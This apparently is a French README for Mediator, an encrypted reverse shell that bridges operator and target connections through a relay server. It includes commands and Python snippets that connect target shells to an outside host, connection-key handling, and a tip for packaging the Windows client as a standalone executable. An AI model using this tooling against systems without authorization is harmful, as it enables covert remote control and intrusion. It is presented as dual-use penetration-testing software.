mediator

Mediator est un reverse shell chiffré de bout en bout dans lequel l'opérateur et le shell se connectent à un serveur « médiateur » qui fait le pont entre les connexions. Cela supprime le besoin pour l'opérateur/gestionnaire de configurer une redirection de port afin d'écouter la connexion. Mediator vous permet également de créer des plugins pour étendre les fonctionnalités du reverse shell.

Vous pouvez exécuter les scripts de Mediator en tant qu'exécutables autonomes ou les importer pour les intégrer dans d'autres outils de test d'intrusion et de réponse aux incidents.

Architecture :

Inspiré des applications de chat chiffré de bout en bout, Mediator adopte une approche unique du modèle client/serveur d'un reverse shell. Mediator utilise :

1. Un client reverse shell
2. Un client gestionnaire/opérateur
3. Un serveur qui fait le pont entre les deux connexions

Les reverse shells et les gestionnaires se connectent au serveur Mediator avec une clé de connexion. Le serveur écoute sur le port 80 pour les connexions des gestionnaires et sur le port 443 pour les connexions des reverse shells. Lorsque les clients se connectent au médiateur, le serveur met en file d'attente les clients en fonction de leur type respectif et de leur clé de connexion. Lorsqu'un reverse shell et un opérateur se connectent au serveur avec la même clé, le serveur établit le pont entre les deux connexions. À partir de là, un échange de clés est effectué entre les deux clients, et toutes les communications entre le reverse shell et l'opérateur sont chiffrées de bout en bout. Cela garantit que le serveur ne peut pas espionner les flux qu'il relaye.

Plugins

Les plugins vous permettent d'ajouter des commandes supplémentaires qui peuvent exécuter du code sur l'hôte de l'opérateur, sur l'hôte cible, ou les deux ! Veuillez vous référer au README dans le répertoire des plugins pour plus d'informations sur les plugins.

Instructions :

Serveur

Les scripts clients peuvent être exécutés sous Windows ou Linux, mais vous aurez besoin de déployer le serveur (mediator.py) sur un hôte Linux. Le serveur est en Python pur, donc aucune dépendance n'a besoin d'être installée. Vous pouvez soit exécuter le script serveur avec

$ python3 mediator.py

soit construire une image Docker avec le Dockerfile fourni et l'exécuter dans un conteneur (assurez-vous de publier les ports 80 et 443).

Clients

Vous devrez installer les dépendances listées dans requirements.txt) pour que les clients fonctionnent. Vous pouvez le faire avec la commande suivante :

$ pip3 install -r requirements.txt

Consultez Conseils et Rappels en bas pour obtenir de l'aide sur la distribution des clients sans vous soucier des dépendances.

Le gestionnaire et le reverse shell peuvent être utilisés dans d'autres scripts Python ou directement en ligne de commande. Dans les deux cas, les clients peuvent accepter des arguments pour l'adresse du serveur et la clé de connexion. L'utilisation de ces arguments est décrite ci-dessous.

Adresse du serveur Mediator

Pour une utilisation dans un script Python, l'adresse de l'hôte médiateur est requise lors de l'instanciation :

Classe Handler

from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

Classe WindowsRShell

from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

Si vous exécutez un script client directement depuis un shell, vous pouvez soit coder en dur l'adresse en bas du script, soit spécifier l'adresse du serveur comme argument avec le drapeau -s ou --server :

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

Clé de connexion

Lorsque deux gestionnaires ou deux reverse shells se connectent au serveur Mediator avec la même clé de connexion, seule la première connexion est mise en file d'attente en attendant son homologue. Tant que la connexion mise en file d'attente n'a pas expiré (30 secondes) ou n'a pas trouvé son homologue, tous les autres clients du même type essayant de se connecter avec la même clé de connexion seront rejetés.

Il est important de s'assurer que chaque gestionnaire utilise une clé de connexion unique afin d'éviter une condition de concurrence qui pourrait aboutir à ce que le mauvais shell soit attribué à un opérateur.

Seules les clés avec le préfixe "#!ConnectionKey_" seront acceptées par le serveur. La clé de connexion par défaut est "#!ConnectionKey_CHANGE_ME!!!".

Pour modifier la clé de connexion dans le cadre d'une utilisation dans un script Python, la clé de connexion peut être fournie en option lors de l'instanciation :

Classe Handler

from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

Classe LinuxRShell

from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

Si vous exécutez un script client directement depuis un shell, vous pouvez soit coder en dur la clé de connexion en bas du script, soit spécifier la clé de connexion comme argument avec le drapeau -c ou --connection-key :

handler.py

$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

Conseils et Rappels :

• RAPPEL : les gestionnaires et les reverse shells ne seront connectés que s'ils se connectent au serveur Mediator en utilisant la même clé de connexion dans un délai de 30 secondes l'un de l'autre.
• ASTUCE : Vous pouvez facilement créer un exécutable pour windowsTarget.py avec pyinstaller en utilisant le drapeau --onefile.
• ASTUCE : Pour des raisons de sécurité, vous devriez utiliser une clé de connexion générée aléatoirement pour chaque session. Si une partie malveillante apprend votre clé de connexion et spamme le port de l'opérateur avec celle-ci, votre client opérateur ne pourra pas se connecter en raison du refus des connexions en double par le serveur, et elle sera connectée au shell de votre cible.